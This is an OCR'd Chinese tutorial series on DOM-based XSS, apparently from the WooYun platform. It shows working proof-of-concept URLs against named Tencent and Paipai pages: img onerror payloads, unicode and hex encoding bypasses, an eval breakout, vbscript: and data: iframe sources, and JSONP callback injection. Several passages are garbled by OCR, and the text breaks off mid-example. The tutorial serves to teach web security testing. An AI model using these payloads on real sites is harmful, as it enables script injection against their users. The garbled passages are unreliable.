1. 在学习 DomXss 之前, 先来补习点 html, js 的基础知识。

<divid="a">xxx</div>

<script>

```
document.getElementById("a").innerHTML="yyyyyy";
```

</script>

解释如图 5.1.1



运行上面的代码之后, xxx 就会变成 yyyyyy WWW.WOOyUN.org

图 5.1.1 注释

2. 进一步,我们的 yyyyyy,还可以是 HTML 代码。

<divid="a">xxx</div>

 $\langle \text{script} \rangle$

document.getElementById("a").innerHTML="<imgsrc=1>";

</script>

效果如图 5.1.2

3. 再进一步, JS 的字符串中的字符可以写为 unicode 编码。

譬如: <可以表示为\u003c, >可以表示为\u003e

不知道怎么转义的,可以使用 gainover 的工具。

工具地址: http://app.baidu.com/app/enter?appid=280383

Gainover 效果如图 5.1.3

第 46页 /共 127页



图 5.1.4 输出效果

第 47页 /共 127页

相关代码,我也贴出来。

<strongid="titleshow">按职业1检索: aaaaaaa</strongid="titleshow">
<script></td></tr><tr><td></td></tr><tr><td>document.getElementByld("titleshow").innerHIML="按地区检索: 全部明星"; if("职业1"=="职业1")</td></tr><tr><td>document.getElementById("titleshow").innerHTML="按职业检索: aaaaaaa"; if("职业1"=="职业2")</td></tr><tr><td>document.getElementById("titleshow").innerHTML="按职业检索: aaaaaaa"; if("职业1"=="职业3")</td></tr><tr><td>document.getElementById("titleshow") innerHTML="按职业检索, aaaaaaa":</td></tr><tr><td></script>
6. 一共有6处,有一处图上没显示,但是也没用处,这里不列出来了,看上面代码中的5处。
我们已经知道, <,>,"都被过滤了,用前面提到的某些技巧,似乎也无法直接 XSS。那么该
1. 任有到平教性的 1, 2, 3 部万石,聪明的你们个知道会不会想到些什么呢。 对的 那就是这里也现了 $innerUTM = \frac{\pi}{2}$ 给此 $\frac{\pi}{2}$ 你是你
对的,那就走这里出现了 inner inner [
我们可以看到,工面代码干,买你工兴有一切定运行了的。我们重点看它。 f("阳业1""阳业1")
II(砍亚 I 砍亚 I) decument getElementPuId("titleshew") innerUTMI-"按阳业检索 「绘山]",
Q 这田「絵山」是就过速了/ \ //目前沿方过速\ 这样一本 十宏应该法林 为什么上面更
0. 区里[捆山]取然过滤1、,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,
0 田业 我们可以构造独陷占的代码加下。
5. 因此,我们可以构造政府总时代码如下:
II(小业II= 小业I)
uocument.getElementDyld(titlesnow).limernimL- 1女歌业位系:
Autoral and Autoral Auto
组合的 3 和 10 对应的 我们的利田代码。可以写为加下,其中容格。我写为了 10020
10. 对应的,我们的利用代码,可公司为如下,买下工宿,我马为了(d0020 http://datalih_ent_gg_com/cgi_hin/search?lihid=1&kayyalue=\u003Cimg\u0020src=1\
10020 operror=alert (1) \u003ekattr=133kstype=2ktname=star_second_shtml
11 丢丢对应的酒代码 非催的事售中租了 $1003c$ 和 $1003c$ 希妹被躁迅过滤了
11. 有有利应的源代码,必惟的争用山境了, (u003c 和 (u003e 見然被商 K)2 滤 」。。。
arch?libid=1&keyvalue=\u003Cimg\u0020src=1\u0020onerror=alert(1\u003e&attr=133&stype=2&t
x-zi angi center bconir #APAPA /span class= bbdet_xuklat_0 /ing shupping.gif //td>(/tr>(/table) //td> //div> //div> /div id="right" class="index_cot" // ci */按职业指裔: <:ing\u0020src=l\u0020onerror=alert(1)>:
src=1\u0020onerror=alert(1)>"=="") document.getElementById("title#how").innerHIML="按地区检索: 全部明星" innerHIML="按职业检索: <u>alt;ing</u> \u0020src=1\u0020onerror=alert(1) <u>></u> ";if("职业1"=="职业2")document.getEleme t(1)>";if("职业1"=="职业3")document.getElementById("titleshow").innerHIML="按职业检索: <img\u0020src <dl> <dt><dt><dt><dt><dt><dt><dt><dt><dt><dt></dt></dt></dt></dt></dt></dt></dt></dt></dt></dt></dl></img\u0020src
<pre>str> art('A') * style= * cursor:hand;cursor:pointer; * onMouseOver=* this.style.color=* #FF7200': * Work over the state * she * / cross analysis=* DisplayBart('B')* style=* over styl</pre>
图 5.1.5 代码被过滤
12. 别灰心,被过滤的原因,是因为@Jannock大牛在乌云报告过这个漏洞。
跨站脚本-可以让战场离得更远(浅谈腾讯架构缺陷)

其实我们还应该注意到上面图片中,过滤的实际上是\u003c和\u003e,但是并没有过滤\u0020,这说明,腾讯只是针对性的过滤,并没有过滤反斜线。

13. 其实呢,在 JS 字符串里, <不光可以写为\u003c, 还可以写为\x3c, >同样可以写为\x3e。

我们试试腾讯过滤了这个没有呢?

http://datalib.ent.qq.com/cgi-bin/search?libid=1&keyvalue=\x3Cimg\u0020src=1\u0
020onerror=alert(1)\x3e&attr=133&stype=2&tname=star_second.shtml

14. 对应源码,看来没过滤啊~~

bin/search?libid=1&keyvalue=\x3Cimg\u0020src=1\u0020onerror=alert(1)\x3e&attr=133& gn= center bgcolor= #F4F4F4 ><ing if"> <div class="blank9" style="height:2px <div id="right" class="index cot"> (/div> </div> 皇索: \x3Cimg\u0020src=1\u0020onerror=alert(1)\x3e Oonerror=alert(1)\x3e"=="")document.getElementById("titleshow").innerHIML="按地区检索: 全部明星" "按职业检索:[\x3Cimg\u0020src=1\u0020onerror=alert(1)\x3e)";if("职业1"=="职业2")document.getElem/ if ("职业1"=="职业3")document.getElementById("titleshow").innerHTML="按职业检索: \x3Cimg\u0020sr <d1> <dt><table width="650" border="0" (tr> style="cursor:hand;cursor:pointer;" onMouseOver="this.style.color="#FF7200":WwwW.overOvtmitero 图 5.1.6 代码未被过滤 哎呀,这次总算弹出来了。见漏洞证明 15. 最后总结下。本例中是 innerHTML 的情况。 实际上只要是与改变页面 HTML 内容相关的操作,都可能导致这种问题。 这也是网上介绍 domxss 时,也经常会提到的东西, 比如 document.getElementById("y").innerHTML="xxxxxxxxx"; document.write("xxxxxxxxxx"); 还有一些网站,使用了第三方的 JS 库,譬如 jQuery 时,会有 \$("#y").html("xxxxxx");

当然最后,还需要提到一些需要注意的地方。

aa. innerHTML="xxxxxxxxxxxx";

这种情况下。xxxxx只能使用<imgsrc=lonerror=alert(1)>这种方式来触发 JS。 而不能以<script>alert(1)</script>来触发,因为这种压根不会执行<script>..</script> 之间的内容。IE下,可以使用<scriptdefer>alert(1)</script>。

(连载中···)责任编辑: xiaohui

第**2**节 DomXss入门[隐式输出]

作者:心伤的瘦子

来自: 乌云漏洞提交平台

网址: http://www.wooyun.org/

简要描述:

周末腾讯不上班,我也不工作。

周一啦,继续。

上一篇开始说 DomXss 了,我们说的是显式输出的情况,即我们可以在右键查看源代码的时候,看到我们所输出的内容。而有一些时候,输出操作我们是看不见的。它们通常发生在 javascript 代码中。譬如: varx=location.href;这句 Javascript 实际上进行了一个隐藏 的输出操作,即将 location.href 的内容输出到了 x 变量中。一起来看看相关的例子吧~ 详细说明:

前注: 1-4 是普通原理, 没看明白的话, 可以从 5 开始, 结合实际例子看。

 1.本来是有另外一个例子的,不过不知道是腾讯已经给修复了,还是之前测试的时候人品好, 偶尔碰上了,总之现在用不上了。
 2.这样一来,我们就只好用一个稍微复杂一点点的例子了。
 3.在说实际例子前,我们来说一个前端开发人员非常习惯使用的一段代码。下面大致写下伪 代码。

unctiongetParam(参数名){	
//获取地址栏参数,通常是 a=1&b=2&c=3;	
varx=location.search;//或者是 location.hash	
//此时 x="?a=1&b=2&c=3";	
//根据[参数名]取出参数名对应的值	
//例如参数名=a,则 y=1	
//例如参数名=b,则 y=2	
//至于这里怎么实现这个功能,可以用循环,可以用 index0f,可以用正则	
vary=参数名对应的参数值;	
//返回 y	

returny;

它的作用呢? 就是从地址栏的参数里取出内容。譬如:

http://www.some.com/2.html?name=shouzi&age=20

我们在 2. html, 要显示 name 对应的值。对应的代码则非常可能下面这样写:

<divid="nick">加载中...</div>

<script>

vara=getParam("name");//获取地址栏里的 name 参数,即 shouzi

document.getElementById("nick").innerHTML=a;

</script>

4. 上面是普通开发人员为了实现功能而写的代码,如果没有安全考虑,就会存在问题。 如果上面的地址变为了:

http://www.some.com/2.html?name=<imgsrc=lonerror=alert(1)>&age=20

那么变量 a 将会等于<imgsrc=lonerror=alert(1)>

document.getElementById("nick").innerHTML=a;

即变成了

document.getElementById("nick").innerHTML="<imgsrc=lonerror=alert(1)>";

这样就变成了教程8中的情景,从而触发 XSS。

5. 接着我们看一个实际的例子。

http://qt.qq.com/video/play_video.htm?sid=aaaaaa

和原来的不同,我们在源代码里搜索不到东西的哦,如图 5.2.1

view-source:qt.qq.com/video/play_video.htm?si	<u>∽</u> @ * ≣	
'E HIML>	aaaaa	0个,共0个 🔨 🗙 🗙
marset="utf-8" /> !T视频应用-QT语音	和 显式输出不同的地	方在于,这里是搜索不到输出的
<pre>n:0: padding:0:}table{ border-collapse:collapse; borde me:}fieldset, ing, abbr, acronym[border:0:}input, select[%:]q:before, q:after[content:'':]</pre>	or-spacing:0;}em{font-st vertical-align:middle}	tyle:normal:}ol,ul{ list- hl,h2,h3,h4,h5,h6{ font-

rt:nornal 12px/1.6em Microsoft YaHhei, tahoma, sinsun, Tahoma, sans-serif; color:#6D6C6C;height:100%;width:100%;} osition:absolute:width:100%;height:100%;text-align:center;overflow;hidden;} WWW.WOOYUN.OFG

图 5.2.1 隐式输出效果

第50页 /共127页

那可能这里有人会有一个疑问了。那我们怎么知道有没有漏洞呢?别担心,方法是有的。 这里以 chrome 为例,按 F12,打开调试工具,见图 5.2.2

← → C	sid=aaaaa
embed 883px × 47px	1400 1500 1600
¥12打开调试工具之后	
Elements Resources 💿 Network 🔮 Sources 🔇	Tineline 📉 Profiles 🖳 Audits 📷 C
<idoctype html=""></idoctype>	
▼ <html></html>	
▶ <head></head>	chrone早一些的版本,搜索框,可能位 主读本方向
V(div class="video" id="dv video">	1121112
▼ <object cla<="" height="100%" id="f" td="" width="100%"><th>ssid="clsid:d27cdb6e-ae6d-11cf-96b8-</th></object>	ssid="clsid:d27cdb6e-ae6d-11cf-96b8-
444553540000" codebase="http://fpdownload.macr	omedia.com/pub/shockwave/cabs/flash/
swflash.cab#version=8,0,0,0">	
<param name="movie" value='aaaaaa">	
<param name="allowScriptAccess" value="neve</th><th>r"/>	
<pre><param name="allowFullscreen" value="true"/></pre>	
<pre><pre></pre></pre>	
<pre>cparam name="quality" value="autonign"> combod width="1000" boight="1000" name="6"</pre>	coc-"apapapa" qualitu-"autobich"
swliveconnect="always" wmodes"transpacent"	allows rintaccesss "never"
allowfullscreen="true" type="application/x-	shockwave-flash" pluginspage="http://
www.macromedia.com/go/getflashplayer">	
▶ <script></script>	
<pre><?if !IE?> xGv00 bladfcf22f9b676fbb52ccc5c6</pre>	13efd2 endif?
<script src="http://pingis.qq.com/ping tcss ier</td><th>d.is"></script>	
输入地址栏里的那个► 看上面的【D	om输出】
aaaaaa 1 of 2 A V (Cancel)	
□ >= Q html body script	www.wooyun.org

图 5.2.2 打开调试工具

和查看源代码没有什么不同,只是这次是在调试工具里看而已。

6. 通过上面的方式,确定【可能】有漏洞之后。我们可以有2个方式来进行下一步。

直接根据调试工具里看到的HTML代码情况,来构造利用代码。优点:省时间,缺点:如果对方有一定过滤,就很难构造

定位到与这个缺陷参数 sid 相关的 JS 代码,再来构造利用代码。优点:能利用一些复杂的情况,缺点:耗时间。

7. 对于新手来说, 先看 6.1 的情况。看到步骤 5 里面的那个图。我们可以构造以下代码。

<objectwidth="100%"height="100%"id="f"classid="clsid:d27cdb6e-ae6d-11cf-96b8-44
4553540000"codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/
swflash.cab#version=8,0,0,0">

```
<paramname="movie"value="aaaaaa"></object><imgsrc="1"onerror="alert(1)">
...其它的省略了...
```

</object>

对应的图片解析:

<object width="100%" height="100%" id="f" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase=
"http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=8,0,0,0">

<param name="movie" value="aaaaaa"></object>

...其它的省略了...
 </object>

www.wooyun.org

图 5.2.3 对应的图片解析

进而"试探性"的测试一下利用代码,因为我们不知道对方会不会过滤掉"双引号","括号"之类的,只能试试了。

http://qt.qq.com/video/play_video.htm?sid=aaaaaa"></object><imgsrc="1"onerror="
alert(1)</pre>

没反应,我们继续看看调试工具,发现,双引号,变成了\\"。



图 5.2.4 发现被转换

8. 根据这个情况,我们可以进一步修改代码。标签里不使用双引号。

http://qt.qq.com/video/play_video.htm?sid=aaaaaaa"></object><imgsrc=lonerror=ale
rt(1)>

这次 OK 啦。

🗋 qt.qq.com/video/play_video.htm?sid=aaaaaa"> </object> <img%20src 😭 🔇 🌂

	⑤ qt.qq.com 上的网页	显示:
	1	
的响应		WWW.WOOVUD.

图 5.2.5 利用成功

可以看到,这种方式,写利用代码很快。

9. 再来看看 6. 2 的方法。既然我们知道了, sid 这个参数会被使用。那么我们的目标是, javascript 的代码里哪里使用了 sid 这个参数呢?

10. 我们首先, F12 打开调试工具, 点【Resources】, 再点 Frames, 然后 Ctr1+F 搜索"sid" 或者'sid'



第 52页 /共 127页

图 5.2.6 搜索关键字

我们运气很好,一下就定位到了一个 sid。

11. 可以看到是 getUrlPara("sid"),从单词,我们不难猜出,getUrlPara 就是前面我们提到的"获取地址栏参数"的函数。

为了进一步确定,我们可以很方便的在 console 里查看 getUrlParam 函数是啥样的。

> getUrlPara
function getUrlPara(paraName,sUrl){if (typeof(sUrl)=='undefined'){sUrl = document.location.href;}var urlRegex = new RegExp(paraName+"=[^&#\?]'
);if(!para){return "";}var v=para[0];from = v.indexOf("=");var paraValue = v.substr(from+1, v.length);while(paraValue.indexOf['<' >= 0){p
paraValue .indexOf("#") > 0 }{from = paraValue .indexOf("#");paraValue = paraValue .substr(0, from);]return paraValue;}
> location.href
"http://gt.gg.com/video/play_video.htm?sid=aaaaa%22%3E%3C/object%3E%3Cimg%20src=1%20onerror=alert(1)%3E"

www.wooyun.org

图 5.2.7 查看函数

可以看到,实际上getUrlParam 是对<,>做了过滤,但是由于 chrome 浏览器自身的 XSS 防御

机制,导致 location. href 获取的 location. href 是已经经过编码的。从而导致未过滤。

如图 5.2.8

```
> getUnlPara
function getUnlPara(paraName,SUnl){if (typeof(SUnl)=='undefined'){SUnl = document.location.href;}var unlRegex = new RegExp(paraName,=_[^B#\2]'
);if(!para}{raturn "";}var v=para{0;from = v.indexOf( "=" );var paraValue = v.substr(from=1, v.length);while( paraValue.indexOf [<'] >= 0 )(p
paraValue .indexOf( "=" ) > 0 )(from = paraValue .indexOf( "=" );paraValue = paraValue .substr(8, from );}return paraValue;}
> location.href
"http://dt.go.com/video/plav_video.htm?sid=aaaaaa%22%SE%3C/object%3E%3Cimg%20src=1%20onerror=alert(1)%SE"
```

www.wooyun.org

图 5.2.8 查看代码

12. 按道理, location. href 里的<, >, "已经变成了%3c, %3e, %22 已经被过滤了,不会有 XSS 了,为什么还可以呢?我们进一步往后看。





看来,关键就是这里,这里有一步 decodeURIComponent 的操作,会将%3c,%3e,又变回<,> 供参考的完整的缺陷代码。

```
varsid=getUrlPara("sid");
if(!sid||sid==""){
    document.getElementById("dv_video").innerHTML=
'<divclass="errmsg"style="margin-top:-10px;">抱歉,视频不存在! </div>';
}else{
```

```
varflash ver=GetSwfVer();
   if(flash_ver==-1) {
       document.getElementById("dv_video").innerHTML=
'<divclass="errmsg"style="margin-top:-30px;">抱歉,您还没有安装 flash 插件<br/>
请〈atarget=" blank"href="http://www.macromedia.com/go/getflashplayer">下载</a>1
0.0 以上的 flash 播放器 < br/> 安装 flash 后,
请<ahref="javascript:location.reload();">点此刷新</a></div>';
   elseif(flash ver.split('.')[0]<10)
       document.getElementById("dv_video").innerHTML=' <divclass="errmsg"style=</pre>
"margin-top:-30px;">抱歉,您的 flash 版本过低<br/>`请<atarget="_blank"href="http:
//www.macromedia.com/go/getflashplayer">下载</a>10.0以上的flash 播放器</br/>安装
flash 后,请<ahref="javascript:location.reload();">点此刷新</a></div>';
   }else{
       sid=decodeURIComponent(sid).trim().replace(/([\'\"])/g,'\\\\$1');
       if(!is valid sid(sid)) {
           document.getElementById("dv_video").innerHTML=
'<divclass="errmsg" style="margin-top:-10px;">
无法打开视频文件,视频地址不合法! </div>';
       }else{
           insertFlash("dv_video", "f", sid, "100%", "100%");
   }
```

13. 接着, 会调用 insertFlash("dv_video", "f", sid, "100%", "100%"); insertFlash 里, 也并没有对 sid 进行任何过滤。

functioninsertFlash(elm, eleid, url, w, h) {

if(!document.getElementById(elm))return;

varstr='';

```
str+='<objectwidth="" +w+' "height=" +h+' "id=" +eleid+' classid="clsid:d27cdb6e-a
e6d-11cf-96b8-444553540000" codebase=" http://fpdownload.macromedia.com/pub/shock
wave/cabs/flash/swflash.cab#version=8,0,0,0">';
```

```
str+='<paramname="movie"value="'+url+'"/>';
```

str+='<paramname="allowScriptAccess"value="never"/>';

```
str+='<paramname="allowFullscreen"value="true"/>';
```

```
str+='<paramname="wmode"value="transparent"/>';
```

```
str+='<paramname="quality"value="autohigh"/>';
```

```
str+='<embedwidth="'+w+'"height="'+h+'"name="'+eleid+'"src="'+url+'"quality="au
tohigh"swLiveConnect="always"wmode="transparent"allowScriptAccess="never"allowF
ullscreen="true"type="application/x-shockwave-flash"pluginspage="http://www.mac</pre>
```

romedia.com/go/getflashplayer">';
<pre>str+=' ';</pre>
document.getElementById(elm).innerHTML=str
}
<pre>图片解析: function insertFlash(elm, eleid, <u>wr, h) {</u> if (!document.getElementById(elm) return; var str = ''; str += 'cobject width="' + w + '' height="' + h + '' id="' + eleid + '" classid= "clsid:d2?cdb6e-ae6d-l1cf-96b8-444553540000" codebase= "http://fpdomload.macromedia.com/pub/shoctwave/cabs/flash/swflash.cab#version=8.0,0,0">'; str += 'coparam name="movie" value="' + wf + '' />'; str += 'coparam name="movie" value="' + wf + '' />'; str += 'coparam name="allowScriptAccess" value="never" />'; str += 'coparam name="allowScriptAccess" value="rue" />'; str += 'coparam name="allowScriptAccess" value="rue" />'; str += 'coparam name="allowSuriptAccess" value="rue" />'; str += 'coparam name="allowScriptAccess" value="rue" />'; str += 'coparam name="allowScriptAccess="never" allowFullscreen="tue" type= "application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer">-cembed>:; "application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer">-cembed>:; "application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer">-c/embed>:;</pre>
str += ''; document.getElementById(elm).innerHTML = str 又是教程の里的 innerHTML=sss合対情兄了
} www.wooyun.org
图 5.2.10 代码解析
14. 根据以上分析,我们的利用代码可以写为。注意,%3E, %3C 的编码是关键。
http://qt.qq.com/video/play_video.htm?sid=aaaaaa%22%3E%3C/object%3E%3Cimg%20src
=1%20onerror=alert(1)%3E
非常值得说明的是: 如果采用 6.1 的方法,我们得到的利用代码是
<pre>http://qt.qq.com/video/play_video.htm?sid=aaaaaaa"><imgsrc=lonerror=ale rt(1)=""></imgsrc=lonerror=ale></pre>
这个代码在 IE 下,是没法 XSS 的
而通过 6.2 的方法,去分析 JS 代码,我们则可以构造出通用的 XSS 代码。
http://qt.qq.com/video/play_video.htm?sid=aaaaaa%22%3E%3C/object%3E%3Cimg%20src
=1%20onerror=alert(1)%3E

这也反应了 6.1 和 6.2 方法各自的优缺点。 (连载中)责任编辑: xiaohui

第3节 DomXss进阶[邂逅 eval]

作者:心伤的瘦子

来自: 乌云漏洞提交平台

网址: http://www.wooyun.org/

简要描述:

前面的教程,说到了显式输出和隐式输出。但是不论怎么样,因为最终 javascript 都会通过 document.write 或 innerHTML 将内容输出到网页中,所以我们总是有办法看到输出到哪里。但是有时候,我们的输出,最终并没有流向 innerHTML 或 document.write,而是与 eval 发生了邂逅,我们该怎么挖掘并利用呢?

详细说明:

1. 我们直接上例子。

http://kf.qq.com/search_app.shtml?key=aaaaa

和前面的不同之处,这次我们搜索源代码和调试工具都看不到任何东西,如图 5.3.1



第56页/共127页

我们可以点右侧,直接定位到错误代码。



图 5.3.4 查看出错位置

我们来看看这段代码:

```
vargetarg=function()
{
    varurl=window.location.href;
    varallargs=url.split("?")[1];
    if(allargs!=null&&allargs.indexOf("=")>0)
    {
        varargs=allargs.split("&");
        for(vari=0;i<args.length;i++)
        {
            vararg=args[i].split("=");
            eval('this.'+arg[0]+'="'+arg[1]+'";');
        }
    };
</pre>
```

和上一节教程类似,这段代码,实际上也是一个获取地址栏参数的代码。 比如,地址栏是 key=aaaa;那么 arg[0]就是字符串'key', arg[1]就是字符串'aaaa'; 那么 eval 这句就是执行的 eval('this.key="aaaa";')



6. 不知道看完上面的,有没有娃注意到,后面的 aaaa 不是也可以构造吗?
this.key="aaaa";换为
this.key="aaa";alert(1);//";
确实是如此:)

http://kf.qq.com/search_app.shtml?key=aaa";alert(1);//

这个在 IE 下一样是可以的 但是这样在 chrome 下却不行。原因其实上面一节教程也提到过。 chrome 会自动对", >, <进行转换。 因而 this.key="aaa";alert(1);//"; 会变成 this.key="aaa%22;alert(1);//"; 从而失效。 7.上面就是本篇教程了,我们再来看看题外话。 其实以上问题,不是单独存在的。在另外一个页面也是存在的。 (连载中)责任编辑: xiaohui

第4节 DomXss进阶[善变 iframe]

作者:心伤的瘦子 来自:乌云漏洞提交平台 网址:http://www.wooyun.org/

简要描述:

有时候,输出还会出现在<iframesrc="[输出]"></iframe>。iframe 的 src 属性本来应该是 一个网址,但是 iframe 之善变,使得它同样可以执行 javascript,而且可以用不同的姿势 来执行。这一类问题,我将其归为[路径可控]问题。当然上面说到的是普通的反射型 XSS。 有时候程序员会使用 javascript 来动态的改变 iframe 的 src 属性,譬如:iframeA. src="[可 控的 url]";同样会导致 XSS 问题,来看看本例吧~

详细说明:

1. 先来说说 iframe 的变化。

最好懂的, onload 执行 js:

<iframeonload="alert(1)"></iframe>, src执行 javascript 代码

<iframesrc="javascript:alert(1)"></iframe>

IE下 vbscript 执行代码:

<iframesrc="vbscript:msgbox(1)"></iframe>

Chrome下 data 协议执行代码:

<iframesrc="data:text/html, <script>alert(1)</script>"></iframe>Chrome

上面的变体

<iframesrc="data:text/html,<script>alert(1)</script>"></iframe>

Chrome 下 srcdoc 属性

<iframesrcdoc="<script>alert(1)</script>"></iframe>

2. 有兴趣的,可以一个一个的去测试上面的效果,注意浏览器的特异性哦。

3. 接着我们来看看具体的例子。

http://helper.qq.com/appweb/tools/tool-detail.shtml?turl=aaaaaa&gid=yl&cid=68&f
rom=

4. 我们先开调试工具,看看有没有可见的输出,如图 5.4.1

<pre><dlv class<="" pre=""></dlv></pre>	s="titles">	
▼ <div class<="" td=""><td>s="left-box"></td><td></td></div>	s="left-box">	
► <iframe allowtran</iframe 	id="toolframe" src=' <u>aa</u> sparency="true" scroll	<pre>aaaa?gid=vl&cid=68" onload="SetWinHeig ing="no" marginwidth="0" marginheight=</pre>
► <div cla<br=""><p class="vote</td><td>liv" id="voted
oted_tips" style="display:none;" votebox"=""></p></div> box" style="display:none;">感谢您使用该		
	and the second	
► <div class<="" td=""><td>s="right-box"></td></div>	s="right-box">	
end main</td <td>ner></td> <td></td>	ner>	
<script type="</td"><td>"text/javascript" src=</td><td>"http://ossweb-img.qq.com/images/js/fc</td></tr><tr><td>div id="foot</td><td>er_ied"></div></td><td></td></tr><tr><td><script type=</td><td>"text/javascript" src=</td><td>"/common/is http://ossweb-img.qq.com/imag</td></tr><tr><td>▶<script langu</td><td>age="javascript"></sc</td><td>ript></td></tr><tr><td><script src="</td><td>http://pingis.qq.com/p</td><td>ing tcss ied.js"></script>		
aaaaaa	1 of 1 🔺 🗸	Cancel
D >= Q html	body	

www.wooyun.org

图 5.4.1 查看输出

可以看到,我们参数的 aaaaaa 被带入到了 <i framesrc="这里" ></iframe>。

5. 这样一来, 就满足了我们的使用条件。

我们试试

http://helper.qq.com/appweb/tools/tool-detail.shtml?turl=javascript:alert(1);&g id=yl&cid=68&from=

。。竟然没反应。我们来看看刚才的那个地方。如图 5.4.2



图 5.4.2 查看代码

可以看到, src 这次没属性了, 看来腾讯做了什么过滤。我们继续搜索下一个 toolframe 试 试。

恩,看来就是这段代码导致的。

```
<script type="text/javascript" src="/common/js/StarRating/rating sig
▼<script language="javascript">
//ifame打开内容
function OpenFrame(url) {
    if (url.toLowerCase().indexOf('http://') != '-1' || url.toLower
    document.getElementById('toolframe").src = url;
  }
  var tool_url = getQueryStringValue("turl");
  var gid = getQueryStringValue("gid");
  var cid = getQueryStringValue("cid"); WWW.WOOYUN.OFG
  图 5.4.3 找到过滤代码
```

一起看看这段代码。

 $functionOpenFrame(url) \label{eq:state} \\ \{ equation (url) \ equation (u$

if(url.toLowerCase().indexOf('http://')!='-1' ||url.toLowerCase().indexOf('h
ttps://')!='-1' ||url.toLowerCase().indexOf('javascript:')!='-1')returnfalse;
document.getElementById("toolframe").src=url;

不难看出,腾讯对 javascript:做出了判断。

document.getElementById("toolframe").src=url;

这句是导致 XSS 的一句代码。而 openFrame 的 url 参数则来自于(无关代码省略):

• • •

```
vartool_url=getQueryStringValue("turl");
```

• • •

```
openFrame(tool_url);
```

. . .

6. 根据我们上面说道的 iframe 的利用方法,我们不难看出,腾讯的过滤是不完善的。

在 IE 下,我们可以使用 vbscript 来执行代码。vbscript 里'单引号表示注释,类似 JS 里的//,效果如图 5.4.4

http://helper.qq.com/appweb/tools/tool-detail.shtml?turl=vbscript:msgbox(1)'&gi
d=yl&cid=68&from=



图 5.4.4 成功弹框

在 chrome 下,我们可以用 data 协议来执行 JS,如图 5.4.5

http://helper.qq.com/appweb/tools/tool-detail.shtml?turl=data:text/html, <script
>alert(1)</script>'&gid=yl&cid=68&from=

```
第 61页 /共 127页
```



图 5.4.5 成功执行

(连载中)责任编辑: xiaohui

第5节 DomXss 进阶[路径 con]

作者:心	伤的瘦子
------	------

来自: PKAV 技术宅社区

网址: http://www.pkav.net

简要描述:

我不是萝莉 con, 我是路径 con。

一些程序员会动态的加载 json 数据,同域的时候,可以使用 a jax

而有时候,数据所在域和当前页面所在域又不一致。所以需要跨域请求。

跨域请求数据的手段中,有一种叫做 jsonp。

用代码表示的话,就是

somescript.src=http://otherdomain.com/xx?jsonp=callback

某些时候,程序员会在调用外部数据的时候带上可控的参数。

somescript.src="http://otherdomain.com/xx?jsonp=callback&id="+id;

如果这个 id 我们可控, 将可能带来 XSS 问题。

详细说明:

本次教程,就不像前面的一样,去细说操作过程了,前面的几次教程也基本将常用操作全部 介绍到了。直接来看例子。

1. 在扫描过程中,经常遇到下面的例子。

Found: parameter=[type] allow=['] url=[http://bag.paipai.com/search_list.shtml?type=2aaaaaaaa@mp=14100,2&pro=256&searchtype=2&cs=0010000&

		_		/	
扫描列表	扫描详情	调试输出	待添加	可以看到这里加载了一个JS,且我们的	的输入作为了这个75文件的参数
price=& amp;online	- p;endprice=8 state=2&	amp;keywor ;paytype=4	d=2012 新 &ranking=1&a	amp;sclassid= <mark>'aaaaaaaa</mark> &t=1354	854502">
harset="gb	2312" id="13	54854502389	" src="http://exp	ress.paipai.c	www.woovun.o

2. 初看看,这种情况,似乎没有什么利用价值。

第62页 /共127页

图 5.5.1 实例

3. 但是我们不难想象,如果这个地址是我们可控的话,一样会带来威胁。 地址的可控可以分为3个层面。 scriptsrc="完全可控",这种就简单了,直接将地址换为我们的 JS 地址 scriptsrc="/path/xxx/[路径可控]/1. js" 这种要利用的话,需要同域名下有可控的文件。可控文件又分为2种。 可以直接上传文本至同域名下,不一定要是 HTML 文件, 需要上传点有过滤缺陷。 参数可控,利用可用的 json 接口。 最终变为: scriptsrc="/path/xxx/.../yyy/xx.json?callback=alert(1) scriptsrc="/xxxx/json.php?callback=xxxx¶m1=yyy¶m2=[参数可控]" 这种情况,和3.2.2类似,如果参数可控,且 json 的参数没有很好的过滤时。我们就有机 可乘了。 4. 本文以拍拍网一处 XSS 为例,来描述以上可能性。 扫描器扫到的点,见步骤1中的图。进一步,我们可以通过抓包的方式,看到页面在打开时, 所加载的外部 JS 文件地址。 http://ssel.paipai.com/comm_json?callback= commentListCallBack&dtag=1&ac=1&cluster=1&sellquality=0 &NewProp=&Property=256&PageNum=1&PageSize=48&OrderStyle=80 &Address=&SaleType=1°ree=1&AuthType=2&BeginPrice= &EndPrice=&KeyWord=2012%20%D0%C2&OnlineState=2 &Paytype=4&ranking=&sClassid='aaaaaaa&t=1354854681 我们打开这个 JSON, 用扫描反射型的方式, 可以测试出, callback, dtag 以及 ranking 可控。但均无法使用<,>, 也就是说,这个 JSON 接口本身是无 XSS 风险的。 此外 dtag, 和 ranking 都在双引号里面,我们在后续无法进行利用,而 callback 则在最前 面,比较好控制。 我们可以想象下,如果我们可以让这个页面调用: http://ssel.paipai.com/comm_json?callback=alert(1); 那么将会产生 XSS。 那么怎么让页面调用上面的情况呢? 直接控制 callback 参数,但是从实际情况来看,我们此处无法直接控制它,【失败】 将后面的参数, param=xxx 修改为 param=xxx&callback=alert(1), 从而覆盖前面的 callback 5. 上面说到的第2种方案,似乎可行。但是实际上还是有问题的。 譬如我们页面上的 type 参数,对应着 json 的 sclassid 参数。 我们访问以下地址: http://bag.paipai.com/search list.shtml?type=&callback=alert(1);&np=11&pro=256& searchtype=2&cs=0010000&keyword=&PTAG=20058.13.13 其实很明显上面这样是不行的。。因为&本身就是参数分隔符。这样写 type 就为空了 可能很快就有人想到另外一个写法: & 写为%26 http://bag.paipai.com/search list.shtml?type=%26callback=alert(1);&np=11&pro=25 6&searchtype=2&cs=0010000&keyword=&PTAG=20058.13.13 很好,但是实际上,你会发现,访问的 json 接口的参数也还是原封不动的%26,而不是所希 望的&,如图5.5.2

http://ssel.paipai.com					
comm_json/callback=commentListCallBack&dtag=1∾=1&cluster=1&sellquality					
